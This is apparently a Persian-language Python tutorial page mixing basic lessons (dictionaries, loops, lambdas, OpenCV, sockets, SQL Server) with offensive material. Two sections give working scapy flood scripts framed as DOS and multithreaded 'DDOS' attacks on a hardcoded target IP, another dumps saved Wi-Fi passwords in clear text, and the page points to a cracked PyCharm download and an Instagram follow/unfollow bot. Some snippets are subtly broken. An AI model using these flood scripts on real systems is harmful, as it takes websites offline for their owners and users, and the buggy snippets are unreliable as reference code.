آموزش پایتون
مختصری در رابطه با پایتون
پایتون به دلیل سادگی و قدرت بالا از محبوبیت خاصی در سراسر جهان برخوردار است. برنامههای نوشته شده با پایتون بر روی سیستم عاملهای ویندوز، مکینتاش، یونیکس، لینوکس، سولاریس و سایر سیستم عاملها قابل اجرا میباشد. این زبان از زبانهای برنامهنویسی مفسر محسوب میشود و به صورت کامل یک زبان شیگرا است که از قابلیت مدیریت خودکار حافظه استفاده میکند.
Pycharm IDE
Pycharm یک IDE بسیار قدرتمند به منظور برنامهنویسی به زبان Python است که با ابزار فوق حرفهای خود مدیریت پروژهها و برنامهنویسی به زبان پایتون را آسان و سریع میکند. Pycharm باعث کدنویسی سریعتر، دقیقتر و هوشمندتر میشود. توسط مفسر هوشمند Pycharm کدنویسی به صورت آنی آنالیز میشود و خطاهای برنامهنویسی و خطای در حال اجرا گرفته میشود. نسخه کرک شدهی Pycharm IDE را میتوان از اینجا دانلود نمود.
طریقهی Comment یا Uncomment کردن یک خط یا یک بلوک از برنامه در Pycharm IDE
برای Comment یا Uncomment کردن یک خط یا یک بلوک از برنامه در Pycharm IDE، پس از انتخاب خط یا بلوک مورد نظر دو کلید Ctrl و / را به صورت همزمان فشار میدهیم. این کار را میتوان با قرار دادن یک کارکتر # در ابتدای خطهای مورد نظر نیز انجام داد.
نصب یک ورژن خاص از Package در Pycharm IDE
برای نصب یک پکیج در Pycharm IDE مسیر زیر را دنبال میکنیم:
File|Settings|Project|Python Interpreter|+|چستجو و انتخاب پکیچ مورد نظر|Install Package
در صورتی که نیاز به نصب و استفاده از ورژن خاصی از یک پیکج را دارید میتوانید در قسمت Specify Version، ورژن مورد نظر خود را قبل از نصب Package انتخاب نمایید. البته برای نصب یک پیکیج میتوان از کلیدهای میانبر Alt+F12 و نوشتن دستور زیر در terminal نیز به صورت زیر بهره برد:
pip install Package_Name
ادامهکه در اینجا شما باید عبارت Package_Name را با نام Package مورد نظر خود که قصد نصب آن را دارید جایگزین نمایید.
ربات Follow و Unfollow کردن یک کاربر در اینستاگرام
# pip install webdriver_manager
# pip install selenium
# pip install ipython
# pip install InstaPy
from webdriver_manager.firefox import GeckoDriverManager
from selenium import webdriver
from time import sleep
browser = webdriver.Firefox(executable_path=GeckoDriverManager().install())
browser.implicitly_wait(5)
browser.get(‘https://www.instagram.com/’)
sleep(5)
username_input = browser.find_element_by_css_selector(“input[name=’username’]”)
password_input = browser.find_element_by_css_selector(“input[name=’password’]”)
username_input.send_keys(“Your Instagram Username”)
password_input.send_keys(“Your Instagram Password”)
login_button = browser.find_element_by_xpath(“//button[@type=’submit’]”)
login_button.click()
sleep(5)
browser.get(‘https://www.instagram.com/sobhan_esmaeili’)
sleep(5)
while True:
follow_button_01 = browser.find_element_by_xpath(“/html/body/div[1]/section/main/div/header/section/div[1]/div[2]/div/div[2]/div/span/span[1]/button”)
follow_button_01.click()
sleep(50)
unfollow_button_01 = browser.find_element_by_xpath(“//html/body/div[1]/section/main/div/header/section/div[1]/div[2]/div/div[2]/div/span/span[1]/button”)
unfollow_button_01.click()
unfollow_button_02 = browser.find_element_by_xpath(“/html/body/div[5]/div/div/div/div[3]/button[1]”)
unfollow_button_02.click()
sleep(50)
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
ربات مشخص کردن کاربرانی که ما را Follow کردن، کاربرانی که ما آنها رو Follow کردیم و کاربرانی که ما آنها را Follow کردیم ولی آنها ما را Follow نکردن
# pip install instaloader
import instaloader
L = instaloader.Instaloader()
Username = “Your Instagram Username”
Password = “Your Instagram Password”
PROFILE = Username
L.login(Username, Password)
profile = instaloader.Profile.from_username(L.context, PROFILE)
followers = profile.get_followers()
followings = profile.get_followees()
badusers = set(profile.get_followees())-set( profile.get_followers())
print(“Storing ghosts into file.”)
with open(“my_followers.txt”, ‘w’) as f:
for follower in followers:
print(follower.username, file=f)
with open(“my_followings.txt”, ‘w’) as f:
for following in followings:
print(following.username, file=f)
with open(“my_badusers.txt”, ‘w’) as f:
for baduser in badusers:
print(baduser.username, file=f)
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
ربات مشخص کردن کاربرانی که پستهای ما را لایک نمیکنند (کاربران فیک)
import instaloader
L = instaloader.Instaloader()
Username = “Your Instagram Username”
Password = “Your Instagram Password”
PROFILE = Username
L.login(Username, Password)
profile = instaloader.Profile.from_username(L.context, PROFILE)
likes = set()
print(“Fetching likes of all posts of profile {}.”.format(profile.username))
for post in profile.get_posts():
print(post)
likes = likes | set(post.get_likes())
print(“Fetching followers of profile {}.”.format(profile.username))
followers = set(profile.get_followers())
ghosts = followers – likes
print(“Storing ghosts into file.”)
with open(“inactive-users.txt”, ‘w’) as f:
for ghost in ghosts:
print(ghost.username, file=f)
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
استفاده از Stored Procedure نوشته شده در Sql Server در Python
سورس کد مربوط به Stored Procedure نوشته شده در Sql Server
Create Procedure My_SP @First_Name nvarchar(100),@Last_Name nvarchar(100), @Mobile nvarchar(100)
as
Select * From Table_Test Where First_Name=@First_Name and Last_Name=@Last_Name and Mobile=@Mobile
سورس کد مربوط به استفاده از Stored Procedure در Python
import pyodbc
connection_string = ‘Driver=SQL Server;Server=Esmaeili-Pc;Database=Database_Test;Uid=Username;Pwd=Password;’
connection = pyodbc.connect(connection_string)
First_Name = input(“Please Enter Name : “)
Last_Name = input(“Please Enter Family : “)
Mobile = input(“Please Enter Mobile : “)
sql_command = “EXEC My_SP @First_Name=?, @Last_Name=?, @Mobile=?”
rows = connection.cursor().execute(sql_command ,(First_Name,Last_Name,Mobile))
for row in rows:
print(row)
connection.commit()
connection.close()
برنامهنویسی Socket با Python
سورس کد مربوط به قسمت سرور به صورت زیر میباشد:
import socket
tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_server_socket.bind((“0.0.0.0”, 1010))
tcp_server_socket.listen(1)
print(“Server Ready …”)
while True:
(client, (ip, port)) = tcp_server_socket.accept()
print(“server connect with “, client.recv(1024).decode(), ip, “on”, port)
client.send(bytes(“Welcome to Server”, “utf-8”))
client.close()
سورس کد مربوط به قسمت کلاینت به صورت زیر میباشد:
import socket
tcp_client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_client_socket.connect((“192.168.56.1”, 1010))
tcp_client_socket.send(bytes(“Dr. Sobhan Esmaeili”, “utf-8”))
print(tcp_client_socket.recv(1024).decode())
استفاده از Function نوشته شده در Sql Server در Python
سورس کد مربوط به Function نوشته شده در Sql Server
Create Function My_F(@Input nvarchar(100),@Selector int)
Returns sql_variant
Begin
Declare @Output sql_variant
If @Selector = 1
Begin
Set @Output = (Select Substring(@Input, 1, CHARINDEX(‘ ‘,@Input)))
End
Else If @Selector = 2
Begin
Set @Output = (Select Substring(@Input, CHARINDEX(‘ ‘,@Input)+1,Len(@Input)))
End
Return @Output
End
سورس کد مربوط به استفاده از Function در Python
import pypyodbc
connection_string = “Driver=SQL Server;Server=Esmaeili-Pc;Database=Database_Test;Uid=Username;Pwd=Password;”
connection = pypyodbc.connect(connection_string)
Input_String = input(“Please Enter String : “)
Selector = int(input(“Please Enter Selector : “))
sql_command = “Select dbo.My_F(?, ?)”
data = connection.cursor().execute(sql_command, (Input_String,Selector))
data = data.fetchone()
print(data[0].decode(“utf-8”))
connection.commit()
connection.close()
استخراج پسوردهای WIFI ذخیره شده در کامپیوتر به وسیلهی Python
import subprocess
data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘utf-8’).split(‘\n’)
profiles = [i.split(“:”)[1][1:-1] for i in data if “All User Profile” in i]
for i in profiles:
results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, i, ‘key=clear’]).decode(‘utf-8’).split(‘\n’)
results = [b.split(“:”)[1][1:-1] for b in results if “Key Content” in b]
try:
print (“{:<30}| {:<}”.format(i, results[0]))
except IndexError:
print (“{:<30}| {:<}”.format(i, “”))
input(“”)
توجه : این کار از طریق CMD سیستم عامل ویندوز و با اجرای دستورات زیر نیز قابل انجام میباشد. Profile_Name را با SSID name استخراج شده توسط دستور اول جایگزین نمایید.
netsh wlan show profiles
netsh wlan show profile Profile_Name key=clear
اسکن شبکههای بیسیم اطراف و نمایش Quality، SSID و RSSI مربوط به هر شبکه
import subprocess
meta_data = subprocess.check_output([“netsh”, “wlan”, “show”, “network”, “mode=Bssid”])
data_string = str(meta_data)
data_string = data_string.replace(“b’ “, ”)
data_string = data_string.replace(‘\\r’, ”)
data_string = data_string.replace(‘\\n’, ‘\n’)
data_list = data_string.splitlines()
ssid = []
quality = []
rssi = []
count = 0
for i in range(0, len(data_list)):
if data_list[i][0:4] == “SSID”:
count = count + 1
start = data_list[i].index(“:”) + 2
end = len(data_list[i])
ssid.append(data_list[i][start:end])
if “Signal” in data_list[i]:
start = data_list[i].index(“:”) + 2
end = len(data_list[i])
quality.append(data_list[i][start:end])
rssi.append((((int(data_list[i][start:end-3]))/2)-100))
print(“\n”)
for i in range(0, count-1) :
if len(ssid[i]) != 0:
print(“SSID:” + ssid[i] + ” ” + “Quality:” + quality[i] + “RSSI:” + str(“{:0.0f}”.format(rssi[i]))+”dbm”)
else:
print(“SSID:” + “Hiden Network” + ” ” + “Quality:” + quality[i] + “RSSI:” + str(“{:0.0f}”.format(rssi[i]))+”dbm”)
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
نمایش شبکه بیسیمی که به آن متصل هستیم
import subprocess
current_network = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘interfaces’])
current_network_string = str(current_network)
current_network_string = current_network_string.replace(‘b’, ”)
current_network_string = current_network_string.replace(‘\\r’, ”)
current_network_string = current_network_string.replace(‘\\n’, ‘\n’)
current_network_list = current_network_string.splitlines()
for i in range(0, len(current_network_list)):
if current_network_list[i][4:8] == “SSID”:
start = current_network_list[i].index(“:”) + 2
end = len(current_network_list[i])
print(current_network_list[i][start:end])
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
شمارش تعداد پلک زدنهای چشم
قبل از نصب cmake و dlib ابتدا فایل shape_predictor_68_face_landmarks را از اینجا دانلود و در مسیر برنامه قرار دهید سپس به ترتیب دو فایل cmake و visual c++ build tools را از اینجا و اینجا دانلود و نصب نمایید. در هنگام نصب visual c++ build tools دقت داشته باشید که بسته cmake tool for windows انتخاب شده باشد.
# pip install opencv-python
# pip install cmake
# pip install dlib
# pip install imutils
# pip install scipy
import time
import cv2
import dlib
import imutils
from imutils import face_utils
from scipy.spatial import distance as dist
def eye_aspect_ratio(eye):
A = dist.euclidean(eye[1], eye[5])
B = dist.euclidean(eye[2], eye[4])
C = dist.euclidean(eye[0], eye[3])
ear = (A + B) / (2.0 * C)
return ear
EYE_AR_THRESH = 2.9
EYE_AR_CONSEC_FRAMES = 3
COUNTER = 0
TOTAL = 0
print(“[INFO] loading facial landmark predictor…”)
detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor(‘shape_predictor_68_face_landmarks.dat’)
(lStart, lEnd) = face_utils.FACIAL_LANDMARKS_IDXS[“left_eye”]
(rStart, rEnd) = face_utils.FACIAL_LANDMARKS_IDXS[“right_eye”]
print(“[INFO] starting video stream thread…”)
webcam = cv2.VideoCapture(0, cv2.CAP_DSHOW)
time.sleep(1.0)
while True:
frame = webcam.read()[1]
frame = imutils.resize(frame, width=800, height=800)
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
rects = detector(gray, 0)
for rect in rects:
shape = predictor(gray, rect)
shape = face_utils.shape_to_np(shape)
leftEye = shape[lStart:lEnd]
rightEye = shape[rStart:rEnd]
leftEAR = eye_aspect_ratio(leftEye)
rightEAR = eye_aspect_ratio(rightEye)
ear = (leftEAR + rightEAR) / 0.2
leftEyeHull = cv2.convexHull(leftEye)
rightEyeHull = cv2.convexHull(rightEye)
cv2.drawContours(frame, [leftEyeHull], -1, (0, 255, 0), 1)
cv2.drawContours(frame, [rightEyeHull], -1, (0, 255, 0), 1)
if ear < EYE_AR_THRESH:
COUNTER = COUNTER + 1
else:
if COUNTER >= EYE_AR_CONSEC_FRAMES:
TOTAL = TOTAL + 1
COUNTER = 0
cv2.putText(frame, “Blink: {}”.format(TOTAL), (10, 30), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2,)
cv2.putText(frame, “EAR: {:.2f}”.format(ear), (300, 30), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2,)
cv2.imshow(“Frame”, frame)
key = cv2.waitKey(1) & 0xFF
if key == ord(“e”):
break
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
انجام حمله DOS به یک وبسایت خاص با استفاده از Python
from scapy.all import *
source_ip = “192.168.1.100”
destination_ip = “217.219.85.98”
count = 1
while True:
for source_port in range(1, 5000):
ip_value = IP(src=source_ip, dst=destination_ip)
tcp_value = TCP(sport=source_port, dport=80)
packet = ip_value / tcp_value
send(packet, inter=.00001)
print(“Packet Sent”, count)
count = count + 1
رسم نمودار از روی دادههای خوانده شده از فایل Excel در Python
import xlrd
import matplotlib.pyplot as plt
file_location = “c:\Dataset.xlsx”
workbook = xlrd.open_workbook(file_location)
first_sheet = workbook.sheet_by_index(0)
x = [first_sheet.cell_value(i, 0) for i in range(1,first_sheet.nrows)]
y = [first_sheet.cell_value(i, 1) for i in range(1,first_sheet.nrows)]
z = [first_sheet.cell_value(i, 2) for i in range(1,first_sheet.nrows)]
plt.plot(x, y, ‘b–‘,label=’Tehran’)
plt.plot(x, z, ‘r–‘,label=’Kermanshah’ )
plt.legend(loc=’upper left’)
plt.axis([1950,1960,2000,8000])
plt.savefig(‘c:\Graph.tif’)
plt.show()
فایل Excel مربوط به این سورس کد را میتوانید از اینجا دانلود کنید.
توجه : برای اینکه بتوانید در پایتون از پسوند xlsx استفاده نمایید، از xlrd ورژن ۱.۲.۰ استفاده نمایید.
تصویر نمودار کشیده شده که طبق تعریف در درایو C با نام Graph و با فرمت tif ذخیره میگردد.
استفاده از وبکم
# pip install opencv-python
import cv2
source = cv2.VideoCapture(0, cv2.CAP_DSHOW)
while True:
cv2.imshow(“Dr. Sobhan Esmaeili”, source.read()[1])
if cv2.waitKey(1) == ord(‘q’):
break
cv2.destroyAllWindows()
source.release()
نمایش تصویر وبکم به صورت سیاه و سفید
# pip install opencv-python
import cv2
source = cv2.VideoCapture(0, cv2.CAP_DSHOW)
while True:
cv2.imshow(“Dr. Sobhan Esmaeili”, cv2.cvtColor(source.read()[1], cv2.COLOR_BGR2GRAY))
if cv2.waitKey(1) == ord(‘q’):
break
cv2.destroyAllWindows()
source.release()
شمارش اشیاء قرمز رنگ به کمک وبکم و به صورت بلادرنگ
import numpy as np
import cv2
webcam = cv2.VideoCapture(0, cv2.CAP_DSHOW)
while (1):
count = 0
imageFrame = webcam.read()[1]
hsvFrame = cv2.cvtColor(imageFrame, cv2.COLOR_BGR2HSV)
red_lower = np.array([136, 87, 111], np.uint8)
red_upper = np.array([180, 255, 255], np.uint8)
red_mask = cv2.inRange(hsvFrame, red_lower, red_upper)
kernal = np.ones((5, 5), “uint8”)
red_mask = cv2.dilate(red_mask, kernal)
res_red = cv2.bitwise_and(imageFrame, imageFrame, mask=red_mask)
contours, hierarchy = cv2.findContours(red_mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
for pic, contour in enumerate(contours):
area = cv2.contourArea(contour)
if (area > 300):
x, y, w, h = cv2.boundingRect(contour)
imageFrame = cv2.rectangle(imageFrame, (x, y), (x + w, y + h), (0, 0, 255), 2)
cv2.putText(imageFrame, “Red Object”, (x, y), cv2.FONT_HERSHEY_SIMPLEX, 1.0, (0, 0, 255))
count = count + 1
cv2.putText(imageFrame, str(count), (40, 80), cv2.FONT_HERSHEY_DUPLEX, 2, (0, 0, 0))
cv2.imshow(“Count Red Object in Real-TIme”, imageFrame)
if cv2.waitKey(10) & 0xFF == ord(‘q’):
cap.release()
cv2.destroyAllWindows()
break
نمایش اعداد به صورت فارسی
Persian_Number = ‘۱۲۳۴۵۶۷۸۹۰’
English_Number = ‘1234567890’
translation_table = str.maketrans(English_Number, Persian_Number)
My_Number = 6
My_Number.translate(translation_table)
print(My_Number)
خروجی دستورات بالا عدد ۶ است.
تولید اعداد تصادفی
import random
x = random.randint(1,6)
print(x)
نام مستعار در پایتون
در پایتون، با هدف کوتاهی و سادگی استفاده از دستورات، از نام مستعار استفاده میشود. در پایتون برای تعریف نام مستعار از کلمه کلیدی as استفاده میکنیم. در مثال زیر برای numpy نام مستعار np را تعریف کردهایم
import numpy as np
ساخت جدول در کنسول
#pip install prettytable
from prettytable import PrettyTable
my_table = PrettyTable()
my_table.field_names = [“First Name”, “Last Name”, “Mobile Number”]
print(my_table)
تابع بینام (lambda) در پایتون
در اینجا میخوایم با استفاده از تابع بینام که در این مثال اسم آن را g گذاشتهایم، عمل دو برابر کردن ورودی گرفته شده را انجام دهیم. (در این مثال ورودی ما x و خروجی ما x*2 است)
g=lambda x:x*2
print(g(2))
تابع بینام (lambda) به همراه تابع نگاشت (map)
تابع نگاشت (map)، یک تابع و یک لیست را به عنوان آرگومان گرفته سپس از تابع ورودی استفاده کرده و آن را روی لیست اجرا میکند و لیست اصلاح شده را به صورت یک شی بر میگرداند.
my_list = [2, 4, 6, 8]
my_function = lambda number: number * 2
new_list =list(map(my_function, my_list))
print(new_list)
تابع بینام (lambda) به همراه تابع کاهش (reduce)
تابع کاهش (reduce)، یک محاسبه چرخشی بر روی همه عناصر یک لیست انجام میدهد. از تابع کاهش (reduce) به منظور محاسبه مجموع کل یا ضرب کردن همه اعداد با هم میتوان استفاده کرد.
from functools import reduce
my_list = [2, 4, 6, 8]
my_function = lambda number_01, number_02: number_01 * number_02
output = reduce(my_function, my_list)
print(output)
محاسبه بزرگترین مقسوم علیه مشترک (GCD)
import math
result = math.gcd(56,48)
print(result)
در اینجا با اجرای دستورات بالا خروجی ۸ چاپ میشود
پاک کردن صفحه خروچی در پایتون
import os
os.system(“cls”)
پیادهسازی جمع تجمعی در پایتون
a = [1, 1, 2, 3, 4, 5]
b = []
Cumulative_Sum = 0
for i in a:
Cumulative_Sum = i + Cumulative_Sum
b.append(Cumulative_Sum)
print(b)
که با اجرای دستورات بالا خروجی زیر را خواهیم داشت:
[۱, ۲, ۴, ۷, ۱۱, ۱۶]
محاسبه نرم ۱، یک بردار
#pip install numpy
import numpy as np
def norm_01(a):
a = np.array(a)
return sum(np.abs(a))
x = [-1, 2, 3]
print(norm_01(x))
که در اینجا مقدار خروجی عدد ۶ خواهد بود
حذف اعداد از رشته
String = input(“Enter Your String : “)
Output =”
for char in String:
if not char.isdigit():
Output = Output + char
print(f’Output Is : {Output}’)
پیادهسازی حمله DDOS به صورت چندنخی
from threading import *
from time import sleep
from scapy.all import *
source_ip = “192.168.1.100”
destination_ip = “217.219.85.98”
class Zambi_01(Thread):
def run(self):
while True:
for source_port in range(1, 5000):
ip_value = IP(src=source_ip, dst=destination_ip)
tcp_value = TCP(sport=source_port, dport=80)
packet = ip_value / tcp_value
send(packet, inter=0.0001)
print(“Packet Sent From Zambi 01”)
sleep(0.1)
class Zambi_02(Thread):
def run(self):
while True:
for source_port in range(1, 5000):
ip_value = IP(src=source_ip, dst=destination_ip)
tcp_value = TCP(sport=source_port, dport=80)
packet = ip_value / tcp_value
send(packet, inter=0.0001)
print(“Packet Sent From Zambi 02”)
sleep(0.1)
class Zambi_03(Thread):
def run(self):
while True:
for source_port in range(1, 5000):
ip_value = IP(src=source_ip, dst=destination_ip)
tcp_value = TCP(sport=source_port, dport=80)
packet = ip_value / tcp_value
send(packet, inter=0.0001)
print(“Packet Sent From Zambi 03”)
sleep(0.1)
Z1 = Zambi_01()
Z2 = Zambi_02()
Z3 = Zambi_03()
Z1.start()
sleep(0.1)
Z2.start()
sleep(0.1)
Z3.start()
Z1.join()
Z2.join()
Z3.join()
print(“Created By Dr. Sobhan Esmaeili”)
نوشتن ماژول نمایش تاریخ به صورت شمسی و استفاده از آن
در فایلی تحت نام Persian_Date.py سورس کد زیر را نوشته و سپس آن را در مسیری که فایل برنامه اصلی قرار دارد ذخیر میکنیم.
import jdatetime
def String_Date():
Year = jdatetime.datetime.now().strftime(“%Y”)
Month = jdatetime.datetime.now().strftime(“%m”)
if Month == 1:
Month_String = “فروردین”
elif Month == 2:
Month_String = “اردیبهشت”
elif Month == 3:
Month_String = “خرداد”
elif Month == 4:
Month_String = “تیر”
elif Month == 5:
Month_String = “مرداد”
elif Month == 6:
Month_String = “شهریور”
elif Month == 7:
Month_String = “مهر”
elif Month == 8:
Month_String = “آبان”
elif Month == 9:
Month_String = “آذر”
elif Month == 10:
Month_String = “دی”
elif Month == 11:
Month_String = “بهمن”
else:
Month_String = “اسفند”
Day = jdatetime.datetime.now().strftime(“%d”)
Week_Day = jdatetime.datetime.now().weekday()
if Week_Day == 0:
Week_Day_String = “شنبه”
elif Week_Day == 1:
Week_Day_String = “یکشنبه”
elif Week_Day == 2:
Week_Day_String = “دوشنبه”
elif Week_Day == 3:
Week_Day_String = “سه شنبه”
elif Week_Day == 4:
Week_Day_String = “چهارشنبه”
elif Week_Day == 5:
Week_Day_String = “پنجشنبه”
else:
Week_Day_String = “جمعه”
Persian_Number = ‘۱۲۳۴۵۶۷۸۹۰’
English_Number = ‘1234567890’
translation_table = str.maketrans(English_Number, Persian_Number)
Today_Date_Time = Week_Day_String + ” ” + Day.translate(translation_table) + ” ” + Month_String + ” ” + Year.translate(translation_table)
return Today_Date_Time
def Integer_Date():
Year = jdatetime.datetime.now().strftime(“%Y”)
Month = jdatetime.datetime.now().strftime(“%m”)
Day = jdatetime.datetime.now().strftime(“%d”)
Persian_Number = ‘۱۲۳۴۵۶۷۸۹۰’
English_Number = ‘1234567890’
translation_table = str.maketrans(English_Number, Persian_Number)
Today_Date_Time = Year.translate(translation_table) + “/” + Month.translate(translation_table) + “/” + Day.translate(translation_table)
return Today_Date_Time
برای استفاده از ماژول ایجاد شده Persian_Date دستورات زیر را در برنامه اصلی مینویسیم:
from Persian_Date import String_Date, Integer_Date
print(String_Date())
print(Integer_Date())
حذف Whitespace از دو طرف یک String
x = ” Sobhan Esmaeili ”
Print(x.strip())
خروجی دستورات بالا به صورت زیر خواهد بود:
Sobhan Esmaeili
ارسال ایمیل با فرمت Plaint Text
import email
import smtplib
server = “smtp.live.com”
port = 587
sender_email = “Your Hotmail Email Address”
sender_password = “Your Email Password”
receiver_email = “Email of Person That You Want to Send an Email for Him.”
subject = “Dr. Sobhan Esmaeili”
Message = “This Is a Test E-Mail”
msg = email.message_from_string(Message)
msg[‘From’] = sender_email
msg[‘To’] = receiver_email
msg[‘Subject’] = subject
s = smtplib.SMTP(server, port)
s.starttls()
s.login(sender_email, sender_password)
s.sendmail(sender_email, receiver_email, msg.as_string())
print(“Message Sent Successfully”)
s.quit()
مدیریت خطا در پایتون
Number = input(“Please Enter the Number: “)
try:
print(int(Number) ** 2)
exit()
except ValueError:
print(“Please Enter Number Only”)
exit()
finally:
pass
در قطعه کد بالا در صورتی که کاربر مقدار نادرستی (مقدار غیر عددی) را در ورودی وارد نماید، برنامه متوقف نشده و با نمایش پیغام برنامه ادامه پیدا میکند.
if int(Number) > 10:
raise ValueError
exit()
else:
print(int(Number))
در قطعه کد بالا در صورتی که مقدار عدد وارد شده در ورودی بیشتر از مقدار ۱۰ باشد برنامه با نمایش پیغام خطا متوقف میگردد.
استخراج اعداد از دادههای رشتهای
import re
My_String = “@S12#78:DE45,TE.4%@!68&*^1(0)”
Number = re.findall(r’\d+’, My_String)
print(Number)
خروجی اجرای دستورات بالا به صورت زیر خواهد بود:
[’۱۲’, ’۷۸’, ’۴۵’, ‘۴’, ’۶۸’, ‘۱’, ‘۰’]
ساختار حلقهی For در پایتون
برای نمایش اعداد ۲،۱،۰ و ۳ میتوان از ساختار For به صورت زیر استفاده نمود:
for i in range(3):
print(i)
برای نمایش اعداد ۲، ۳، ۴ و ۵ میتوان از ساختار For به صورت زیر استفاده نمود:
for i in range(2,6):
print(i)
برای نمایش اعداد ۲، ۵ و ۸ میتوان از ساختار For به صورت زیر استفاده نمود:
for i in range(2,9,3):
print(i)
برای نمایش اعداد ۱۰، ۹، ۸، ۷، ۶، ۵ میتوان از ساختار For به صورت زیر استفاده نمود:
for i in range(10,4,-1):
print(i)
از For میتوانیم به صورت زیر نیز استفاده نماییم:
list = [[i,i*2] for i in range(1,3)]
print(list)
که در این حالت خروجی زیر را خواهیم داشت:
[[۱,۲], [۲,۴]]
ساختار Switch Case در Python
def my_switch(x):
switcher = {1: “One”,2: “Two”}
print(switcher.get(x,”Invalid Number”))
برای استفاده از ساختار Switch Case تعریف شده به صورت زیر عمل میکنیم:
my_switch(2)
نوع داده دیکشنری در Python
تعریف دیکشنری به صورتهای زیر میتواند صورت پذیرد:
dic_1 = {1:”Data 1″,2:”Data 2″,3:[“Data 3”,[[1],[2]],(“One”,1)]}
print(dic_1)
dic_2 = {“a”:1,”b”:2,”c”:3,4:”d”,5:”e”}
print(dic_2)
که در اینجا دو دیکشنری dic_1 و dic_2 به صورت زیر ایجاد میگردند:
{۱: ‘Data 1’, 2: ‘Data 2’, 3: [‘Data 3’, [[1], [2]], (‘One’, 1)]}
{‘a’: 1, ‘b’: 2, ‘c’: 3, 4: ‘d’, 5: ‘e’}
دسترسی به عناصر دیکشنری به صورتهای زیر میتواند صورت پذیرد:
print(dic_1.get(1))
print(dic_1[2])
print(dic_2.get(“c”))
print(dic_2[“b”])
print(dic_1.get(3)[1][-1])
که در اینجا با اجرای دستورات بالا عناصر زیر نمایش داده میشوند:
Data 2
۳
۲
[۲]
اضافه کردن یک عنصر جدید به دیکشنری
dic_2 = {‘a’: 1, ‘b’: 2, ‘c’: 3, 4: ‘d’, 5: ‘e’}
dic_2[6]=”f”
dic_2[“g”]=7
print(dic_2)
که در اینجا، دیکشنری dic_2، پس از اضافه کردن دو عنصر جدید به صورت زیر خواهد بود:
{‘a’: 1, ‘b’: 2, ‘c’: 3, 4: ‘d’, 5: ‘e’, 6: ‘f’, ‘g’: 7}
تغییر و بهروزرسانی یک عنصر در دیکشنری
dic_2 = {‘a’: 1, ‘b’: 2, ‘c’: 3, 4: ‘d’, 5: ‘e’, 6: ‘f’, ‘g’: 7}
dic_2[“g”]=8
print(dic_2)
که در اینجا دیکشنری dic_2 به صورت زیر بهروزرسانی میگردد:
{‘a’: 1, ‘b’: 2, ‘c’: 3, 4: ‘d’, 5: ‘e’, 6: ‘f’, ‘g’: 8}
برای حذف یک عنصر با اندیسی خاص از دیکشنری از متد ()pop به صورت زیر استفاده میگردد:
dic_2.pop(“a”)
print(dic_2)
که در اینجا دیکشنری dic_2 پس از حذف عنصر ۱ که اندیس آن “a” میباشد به صورت زیر خواهد بود:
{‘b’: 2, ‘c’: 3, 4: ‘d’, 5: ‘e’, 6: ‘f’, ‘g’: 8}
برای حذف آخرین عنصر از سمت چپ دیکشنری از متد ()popitem به صورت زیر استفاده میگردد:
dic_2.popitem()
print(dic_2)
که در اینجا دیکشنری dic_2 پس از حذف آخرین عنصر از سمت چپ به صورت زیر خواهد شد:
{‘b’: 2, ‘c’: 3, 4: ‘d’, 5: ‘e’, 6: ‘f’}
برای حذف تمامی عناصر دیکشنری از متد ()clear به صورت زیر استفاده میگردد:
dic_2.clear()
print(dic_2)
که در اینجا دیکشنری dic_2 پس از حذف تمامی عناصر به صورت زیر خواهد شد:
{}
برای حذف دیکشنری از حافظه از متد ()del به صورت زیر استفاده میگردد:
del(dic_2)
در این حالت دیکشنری dic_2 به صورت کامل از حافظه حذف گردیده و قابل دسترس نمیباشد.
برای بررسی وجود یا عدم وجود یک اندیس خاص در دیکشنری میتوانیم از دو عملگر in و not in به صورت زیر استفاده کنیم:
dic_1 = {1: ‘Data 1’, 2: ‘Data 2’}
print(1 in dic_1)
print(3 not in dic_1)
در اینجا نتیجهی دستور اول با توجه به اینکه مقدار اندیس ۱ در دیکشنری dic_1 وجود دارد مقدار True می باشد، همچنین نتیجه دستور دوم با توجه به اینکه مقدار اندیس ۳ در دیکشنری dic_1 وجود ندارد مقدار True میباشد.
برای دیدن همهی اندیسهای دیکشنری از متد ()keys به صورت زیر استفاده میگردد:
print(dic_1.keys())
در اینجا لیستی از اندیسهای dic_1 به صورت زیر نمایش داده میشود:
dict_keys([1, 2])
برای دیدن همهی مقادیر دیکشنری از متد ()values به صورت زیر استفاده میگردد:
print(dic_1.values())
در اینجا لیستی از مقدارهای dic_1 به صورت زیر نمایش داده میشود:
dict_values([‘Data 1’, ‘Data 2’])
برای دیدن همهی آیتمهای دیکشنری از متد ()items به صورت زیر استفاده میگردد:
print(dic_1.items())
در اینجا آیتمهای دیکشنری dic_1 را به صورت زیر نمایش داده میشوند:
dict_items([(1, ‘Data 1’), (2, ‘Data 2’)])
برای ساخت بدل از یک دیکشنری از متد ()copy به صورت زیر استفاده میشود:
dic_4 = dic_1.copy()
در اینجا یک کپی از دیکشنری dic_1 ساخته و در دیکشنری dic_4 قرار میگیرد. در اینجا هر گونه تغییر در دیکشنری dic_1 باعث ایجاد تغییر در dic_4 نمیگردد. اما در صورتی که ساخت بدل از دیکشنری dic_1 به صورت زیر انجام پذیرد، ایجاد تغییر در dic_1 باعث ایجاد تغییر در dic_4 میگردد.
dic_4 = dic_1
تابع Print
به کمک تابع پرینت میتوانیم متن یا هر چیزی را در خروجی نمایش دهیم. در زیر مثالهایی از کاربرد تابع پرینت آورده شده است.
Print(“*” *10)
با اجرای دستور بالا تعداد ۱۰ ستاره در خروجی چاپ میشود.
جدا کننده Sep در تابع Print
